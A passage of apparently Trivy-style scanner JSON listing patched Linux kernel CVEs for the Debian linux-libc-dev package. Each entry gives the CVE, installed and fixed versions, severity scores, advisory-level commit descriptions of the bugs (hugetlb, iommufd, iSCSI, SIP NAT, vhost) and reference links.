"sha256:2e76b22fe3b8f7b731be5e66eacb52ee47d891dd361f9a83ff365952d5052445", "Title": "kernel: mm/hugetlb: fix list corruption in allocate_file_region_entries()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/hugetlb: fix list corruption in allocate_file_region_entries()\n\nallocate_file_region_entries() tops up resv-\u003eregion_cache with freshly\nallocated file_region descriptors. The allocation uses GFP_KERNEL, so\nresv-\u003elock is dropped around it: the new entries are gathered on a\nstack-local list head, allocated_regions, and spliced into\nresv-\u003eregion_cache once the lock is re-acquired.\n\nThe splice used list_splice(), which moves the entries but does not\nre-initialize the source head, so allocated_regions is left pointing at an\nentry that now lives on resv-\u003eregion_cache. The top-up runs in a while\nloop that re-checks the cache deficit after re-acquiring the lock. For a\nshared mapping the resv_map is shared by every mapper of the hugetlbfs\ninode, so a concurrent region_chg()/region_add()/region_del() on the same\nresv_map can consume cache entries during the unlocked window and force a\nsecond iteration. That iteration calls list_add() on the stale head and\ncorrupts the list; with CONFIG_DEBUG_LIST the __list_add_valid() check\ntrips:\n\n list_add corruption. next-\u003eprev should be prev (ffffc900011ff7f8),\n but was ffff88814c281460. (next=ffff88814c545640).\n kernel BUG at lib/list_debug.c:31!\n allocate_file_region_entries+0x191/0x420\n region_chg+0x267/0x300\n hugetlb_reserve_pages+0x387/0xc80\n hugetlbfs_file_mmap+0x2ce/0x3f0\n mmap_region+0x1348/0x1a80\n do_mmap+0x85e/0xb90\n vm_mmap_pgoff+0x18c/0x330\n ksys_mmap_pgoff+0x2a1/0x3e0\n do_syscall_64+0xd7/0x420\n\nWithout CONFIG_DEBUG_LIST the bad list_add() silently links a kernel-stack\naddress into resv-\u003eregion_cache, leading to later use-after-free.\n\nThis was observed as a real host panic on a dense KVM host where a QEMU\nguest-RAM hugetlbfs file was mapped MAP_SHARED by both QEMU and a separate\nSPDK/DPDK vhost-user target, generating concurrent region_* traffic on one\nshared resv_map.\n\nUse list_splice_init() so the source head is re-initialized empty after\neach splice, making the retry loop safe.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70459", "https://access.redhat.com/security/cve/CVE-2026-74518", "https://bugzilla.redhat.com/2403545", "https://bugzilla.redhat.com/2481940", "https://bugzilla.redhat.com/2481948", "https://bugzilla.redhat.com/2492278", "https://bugzilla.redhat.com/2502218", "https://bugzilla.redhat.com/2513150", "https://bugzilla.redhat.com/2513212", "https://bugzilla.redhat.com/2513222", "https://bugzilla.redhat.com/2513232", "https://bugzilla.redhat.com/2513295", "https://bugzilla.redhat.com/2513453", "https://bugzilla.redhat.com/2516523", "https://bugzilla.redhat.com/2517004", "https://bugzilla.redhat.com/show_bug.cgi?id=2403545", "https://bugzilla.redhat.com/show_bug.cgi?id=2481940", "https://bugzilla.redhat.com/show_bug.cgi?id=2481948", "https://bugzilla.redhat.com/show_bug.cgi?id=2492278", "https://bugzilla.redhat.com/show_bug.cgi?id=2502218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513150", "https://bugzilla.redhat.com/show_bug.cgi?id=2513212", "https://bugzilla.redhat.com/show_bug.cgi?id=2513222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513232", "https://bugzilla.redhat.com/show_bug.cgi?id=2513295", "https://bugzilla.redhat.com/show_bug.cgi?id=2513453", "https://bugzilla.redhat.com/show_bug.cgi?id=2516523", "https://bugzilla.redhat.com/show_bug.cgi?id=2517004", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39964", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45959", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68188", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68293", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74518", "https://errata.almalinux.org/9/ALSA-2026-70459.html", "https://errata.rockylinux.org/RLSA-2026:70459", "https://git.kernel.org/linus/dd9623f58ec702a07b2d67179d6fcea79c52231a%20%287.2-rc6%29", "https://git.kernel.org/stable/c/01b8569233e47693d6ff7efa96d9854c55f936fc", "https://git.kernel.org/stable/c/126a70bf1a08ddc9d79c471ebdaa2b08cfbab8df", "https://git.kernel.org/stable/c/587a0accc2b4fccc5cf7baf0fe34e50efde51f9c", "https://git.kernel.org/stable/c/62e1c2741a4d923d9854efd5927a6212aad7a187", "https://git.kernel.org/stable/c/9c5fdffc5e1ce84403c58289ee72697051803bf7", "https://git.kernel.org/stable/c/ac1bb7fd45088d0db57a22ce7729f258ebd63cf5", "https://git.kernel.org/stable/c/dd9623f58ec702a07b2d67179d6fcea79c52231a", "https://git.kernel.org/stable/c/f3e54f6a5e1681f83d13e8716bc92ef5ecf121d3", "https://linux.oracle.com/cve/CVE-2026-74518.html", "https://linux.oracle.com/errata/ELSA-2026-70498.html", "https://lore.kernel.org/linux-cve-announce/2026081544-CVE-2026-74518-1152@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74518", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74518" ], "PublishedDate": "2026-08-15T13:17:56.967Z", "LastModifiedDate": "2026-10-16T20:17:34.45Z" }, { "VulnerabilityID": "CVE-2026-74520", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74520", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:14758262dc369b6f584c15e69bc86689f23bdd93ee672229497703828c23eb2c", "Title": "kernel: iommu/iommufd: Fix IOPF group ownership UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/iommufd: Fix IOPF group ownership UAF\n\niopf_group_alloc() links each last-page IOPF group into the generic IOPF\npending list before invoking the domain fault handler.\niommufd_fault_iopf_handler() also queued an accepted group in the\nIOMMUFD deliver list without removing it from the generic pending list.\n\nWhen detach or HWPT replacement drops the device's IOPF reference count\nto zero, an IOMMU driver may call iopf_queue_remove_device(). That\nfunction responds to and frees groups through the generic pending list\nwithout removing the same groups from IOMMUFD's deliver list or response\nxarray. A later read, response, or cleanup can then access the freed\ngroup and cause a UAF.\n\nFix this by dequeuing an accepted group from the generic pending list\nbefore IOMMUFD queues it for userspace response.\nMake iopf_group_response() send a response regardless of pending-list\nmembership, so the dequeued group can still be completed by IOMMUFD.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74520", "https://git.kernel.org/linus/738e6f32e61d80b554e37015ecb7bc620b88001c%20%287.2-rc6%29", "https://git.kernel.org/stable/c/4e74a369236424114b94cf6a9f5ff9e848b430b4", "https://git.kernel.org/stable/c/6da8f37419dd4c456f26fc203f04e000186f4b3d", "https://git.kernel.org/stable/c/738e6f32e61d80b554e37015ecb7bc620b88001c", "https://git.kernel.org/stable/c/8563099bc4b03e1894a983a394225d69b05d9277", "https://lore.kernel.org/linux-cve-announce/2026081544-CVE-2026-74520-7811@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74520", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74520" ], "PublishedDate": "2026-08-15T13:17:57.21Z", "LastModifiedDate": "2026-10-21T13:19:45.293Z" }, { "VulnerabilityID": "CVE-2026-74556", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74556", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:efc1aabdbd13d7a3dd6242b492badf668192c159fd7b11a8edb63120bca6b649", "Title": "kernel: scsi: libiscsi_tcp: Bound SCSI Response data segment to the connection buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi_tcp: Bound SCSI Response data segment to the connection buffer\n\niscsi_tcp_hdr_dissect() receives the data segment of several PDU types\ninto the fixed-size conn-\u003edata buffer, which is allocated for\nISCSI_DEF_MAX_RECV_SEG_LEN (8192) bytes. For the LOGIN_RSP, TEXT_RSP,\nREJECT and ASYNC_EVENT opcodes the dissect path already rejects a PDU\nwhose DataSegmentLength exceeds that buffer.\n\nThe SCSI Command Response (ISCSI_OP_SCSI_CMD_RSP) path also copies its\ndata segment (sense/response data) into conn-\u003edata via\niscsi_tcp_data_recv_prep(), but it does so without the same check. The\nonly upstream bound on in.datalen is conn-\u003emax_recv_dlength, the\ninitiator's advertised MaxRecvDataSegmentLength, which is commonly\nnegotiated well above 8192 (open-iscsi defaults to 262144). A target\nthat returns a SCSI Response with a DataSegmentLength between 8193 and\nmax_recv_dlength therefore overflows the 8192-byte conn-\u003edata buffer.\n\nOnce the same bound applies, ISCSI_OP_SCSI_CMD_RSP is handled exactly\nlike those responses: bound the data segment, receive it into conn-\u003edata\nwhen present, and otherwise complete the PDU with no data. Fold the\nopcode into that case group rather than duplicating the check.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-74556", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/linus/c1dea15f819cded9b3faf58f8bec72323568b6e6%20%287.2-rc6%29", "https://git.kernel.org/stable/c/084af0253673425ce2ae62e3c7f74f0dd023711b", "https://git.kernel.org/stable/c/72815741715bd41556dac5eeb068bf0f8af06ee7", "https://git.kernel.org/stable/c/a51812842084fd390590ab8dc0431f10c73ddc56", "https://git.kernel.org/stable/c/a8f94cc9f0e5759252551be3a172960c57f21f54", "https://git.kernel.org/stable/c/b0aa3e8e2ab4ca92adb28a3ef41873b3363b8676", "https://git.kernel.org/stable/c/c1dea15f819cded9b3faf58f8bec72323568b6e6", "https://git.kernel.org/stable/c/c97b5265cc47775f77fd2a23d6bde0426997b233", "https://git.kernel.org/stable/c/f1a3a51fc5dba0e99532379665069f1700da6b44", "https://linux.oracle.com/cve/CVE-2026-74556.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-74556-3eb4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74556", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74556" ], "PublishedDate": "2026-08-15T13:18:01.047Z", "LastModifiedDate": "2026-10-16T20:17:37.307Z" }, { "VulnerabilityID": "CVE-2026-74569", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74569", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ae63784a8ea49fbc269f8ef800c3dde0c8b3dc89c39f8734bacbb87a40ad7b78", "Title": "kernel: netfilter: nf_conntrack_sip: widen NAT rewrite delta to s32 in sip_help_tcp()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_sip: widen NAT rewrite delta to s32 in sip_help_tcp()\n\nsip_help_tcp() stores the size change of each NAT-rewritten SIP message\nin s16 diff and accumulates it in s16 tdiff, but a single message can\ngrow by more than S16_MAX while the packet stays under the 65535\nenlarge_skb() limit: nf_nat_sip() rewrites every matching URI, and a long\nContact list expands the message by tens of kilobytes. diff then wraps,\nand \"datalen = datalen + diff - msglen\" yields a huge unsigned datalen,\nso the next iteration's ct_sip_get_header() reads past the linearized skb\ntail.\n\nWiden diff, tdiff and the seq_adjust hook to s32. Both are bounded by the\n65535 byte packet limit, and the seqadj core is already s32\n(nf_ct_seqadj_set() takes s32), so no previously accepted input is\nrejected.\n\n BUG: KASAN: use-after-free in ct_sip_get_header (net/netfilter/nf_conntrack_sip.c:464)\n Read of size 1 at addr ffff888010800000 by task ksoftirqd/1/25\n ct_sip_get_header (net/netfilter/nf_conntrack_sip.c:464)\n sip_help_tcp (net/netfilter/nf_conntrack_sip.c:1694)\n nf_confirm (net/netfilter/nf_conntrack_proto.c:183)\n nf_hook_slow (net/netfilter/core.c:619)\n ip6_output (net/ipv6/ip6_output.c:246)\n ip6_forward (net/ipv6/ip6_output.c:690)\n ipv6_rcv (net/ipv6/ip6_input.c:351)\n __netif_receive_skb_one_core (net/core/dev.c:6212)\n process_backlog (net/core/dev.c:6676)\n __napi_poll (net/core/dev.c:7735)\n net_rx_action (net/core/dev.c:7955)\n handle_softirqs (kernel/softirq.c:622)\n run_ksoftirqd (kernel/softirq.c:1076)\n ...", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74569", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/db3d0e0e5d4bc5ab4fe445b9f413d1b486508ca5%20%287.2-rc6%29", "https://git.kernel.org/stable/c/1b0843f9e9b9b0b9b4b70d143b67e58163c85b2c", "https://git.kernel.org/stable/c/32d4abc8923b0d4046fd63ad6e4917872e44eb6d", "https://git.kernel.org/stable/c/63eea41759fd682229c14e0a2205802b46d106f3", "https://git.kernel.org/stable/c/c97621a110e386b2dd69e276eb699e1d3cec581d", "https://git.kernel.org/stable/c/db3d0e0e5d4bc5ab4fe445b9f413d1b486508ca5", "https://git.kernel.org/stable/c/ed1f9be6dc8e2e280b8725e44ccdc6e0cd38640d", "https://git.kernel.org/stable/c/ef5e2c6555d2bb52dfe0e4053a8c6193f9d83b64", "https://git.kernel.org/stable/c/f74554e67ccf04d1fa71069e8c9afa2717e40716", "https://linux.oracle.com/cve/CVE-2026-74569.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081554-CVE-2026-74569-45bc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74569", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74569" ], "PublishedDate": "2026-08-15T13:18:02.517Z", "LastModifiedDate": "2026-10-16T20:17:38.47Z" }, { "VulnerabilityID": "CVE-2026-74580", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74580", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:203692b784d7610b2d3dde7e32763243c2318dd9c113461bfb84816b34377d17", "Title": "kernel: vhost: reset the vring metadata cache on vring reconfiguration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost: reset the vring metadata cache on vring reconfiguration\n\nvq-\u003emeta_iotlb[] caches the vhost_iotlb_map that backs each vring\nmetadata region, and iotlb_access_ok() returns early on a cache hit,\ntaking the hit as proof that the region has already been validated:\n\n\tif (vhost_vq_meta_fetch(vq, addr, len, type))\n\t\treturn true;\n\nThe cache is reset on VHOST_IOTLB_UPDATE and VHOST_IOTLB_INVALIDATE, on\ndevice IOTLB (re)initialisation and on vq reset, but not when\nVHOST_SET_VRING_ADDR replaces vq-\u003edesc, vq-\u003eavail and vq-\u003eused, nor when\nVHOST_SET_VRING_NUM changes the region sizes.\n\nWith a device IOTLB attached both ioctls are accepted while the vq is\nlive, and neither validates the addresses at ioctl time: vq_access_ok()\nand vq_log_used_access_ok() return true early because the addresses are\nGIOVAs, deferring validation to prefetch time. Once the cache has been\npopulated that deferred validation no longer runs -- vq_meta_prefetch()\nhits the stale entry and returns true -- and vhost_vq_meta_fetch() keeps\ntranslating through the old mapping as\n\n\tmap-\u003eaddr + addr - map-\u003estart\n\nfor an address the mapping no longer covers. vhost_copy_to_user() and\nvhost_copy_from_user() consume the result with __copy_to_user() and\n__copy_from_user(), which do not check it either, so a subsequent used\nring update or descriptor fetch accesses memory outside the region the\nIOTLB actually maps.\n\nReset the metadata cache whenever the vring is reconfigured, so the new\naddresses are pushed back through iotlb_access_ok()'s slow path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H", "V3Score": 8.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/14/2", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-74580", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://git.kernel.org/stable/c/13fa6f32a56a386a82bd7451644c494beed034af", "https://git.kernel.org/stable/c/5224bd37e37d36076a550d99b2aebba33939fd95", "https://git.kernel.org/stable/c/54617e9119be2eb728ecdd8d977b99c99d4c498a", "https://git.kernel.org/stable/c/6fa3e9b1fe856259555a7e22f3f3082e7827fd9b", "https://git.kernel.org/stable/c/b70ebe0bba254e093dd5fd4c0c170941ce83eb85", "https://git.kernel.org/stable/c/cf363a7a02ce132ef1f58084fdb13e1a3b7da7e7", "https://git.kernel.org/stable/c/de845981da67a6b049080c87e605130b0c30adc5", "https://git.kernel.org/stable/c/f1e21108e3ddfcce62f6cad4ebd7b5674543c9e6", "https://github.com/YounesHfa/CVE-2026-74580", "https://linux.oracle.com/cve/CVE-2026-74580.html", "https://linux.oracle.com/errata/ELSA-2026-500573.html", "https://lore.kernel.org/linux-cve-announce/2026082158-CVE-2026-74580-5db9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74580", "https://ubuntu.com/security/notices/USN-8875-1", 